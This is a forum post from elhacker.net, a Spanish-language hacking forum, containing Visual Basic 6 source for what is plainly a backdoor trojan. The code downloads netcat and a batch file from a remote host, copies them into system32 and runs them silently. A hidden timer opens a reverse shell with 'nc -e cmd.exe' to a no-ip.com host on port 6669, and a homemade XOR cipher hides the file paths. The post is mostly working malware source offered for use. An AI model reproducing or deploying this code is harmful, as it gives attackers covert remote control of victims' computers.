Foro de elhacker.net

Shell("calc.exe")

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_SHOWNORMAL = 1
Private Sub Form_Load()
ShellExecute Me.hwnd, vbNullString, "C:\WINDOWS\CALC.EXE", vbNullString, "C:\", SW_SHOWNORMAL
End Sub

Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Const SW_NORMAL = 1
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long     'api necesaria para el descargar algo de internet

Option Explicit



Private Sub Form_Load()

Text1.Text = Cript(Text1.Text, 3)
Text2.Text = Cript(Text2.Text, 3)
Text3.Text = Cript(Text3.Text, 3)

DownloadFile "http://host.usr/my_user/nc.exe", DesCript(Text1.Text, 3) 
End Sub

[color=Red]Funcion que no permite descargar un archivo desde vb:[/color]

Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean  
    Dim lngRetVal As Long
    lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
    If lngRetVal = 0 Then DownloadFile = True
End Function

[color=Brown]Timer que permite copiar el netcat desde c a system32 en winXP[/color]

Private Sub Timer_copync_Timer()
On Error Resume Next
FileCopy DesCript(Text1.Text, 3), DesCript(Text2.Text, 3) 'copia el netcat a system32 en win xp
Timer_copync.Enabled = False
End Sub

[color=Brown]Timer que permite copiar el netcat desde c a system32 en win2000[/color]

Private Sub Timer_copync2k_Timer()
On Error Resume Next
FileCopy DesCript(Text1.Text, 3), DesCript(Text3.Text, 3) 
Timer_copync2k.Enabled = False
End Sub

[color=Blue]Timer que ejecuta netcat + cmd con la sintasis que he elejido:[/color]

Private Sub Timer1_Timer()
On Error Resume Next
Shell ("cmd.exe /c winnc -d -e cmd.exe HOST.no-ip.com 6669"), vbHide
Timer1.Enabled = False
End Sub

[color=Green]Timer que hace que descarge un bat de un host ( y luego lo ejecute[/color]

Private Sub Timer2_Timer()
On Error Resume Next
Dim ejecuk As Long

DownloadFile "http://host.usr/my_user/nancy32.bat", "C:\WINDOWS\system32\nancy32.bat"  

ejecuk = ShellExecute(Me.hwnd, "Open", "c:\windows\system32\nancy32.bat", "", "", 1)

Timer2.Enabled = False
End Sub

[color=Red]Funcion para cifrar:[/color]

Private Function Cript(txt, Optional semilla = 45) As String
On Error Resume Next
Dim i
Dim l
Dim txt2


For i = 1 To Len(txt)
l = Mid(txt, i, 1)
l = 155 - Asc(l)
txt2 = txt2 + Chr(l)
Next
txt = txt2
For i = 1 To Len(txt)
l = Mid(txt, i, 1)
l = Asc(l) Xor semilla
Cript = Cript & l & Chr(164)
DoEvents
Next
End Function

[color=Red]Funcion para descifrar:[/color]

Private Function DesCript(txt, Optional semilla = 45) As String
On Error Resume Next
Dim i
Dim l
Dim pal
Dim txt3
Dim c

For i = 1 To Len(txt)
l = Mid(txt, i, 1)
If l = Chr(164) Then
l = pal Xor semilla
c = semilla Xor pal
l = Chr(l)
DesCript = DesCript & l
pal = ""
Else
pal = pal & l
End If
DoEvents
Next
For i = 1 To Len(DesCript)
l = Mid(DesCript, i, 1)
l = 155 - Asc(l)
txt3 = txt3 + Chr(l)
Next
DesCript = txt3
End Function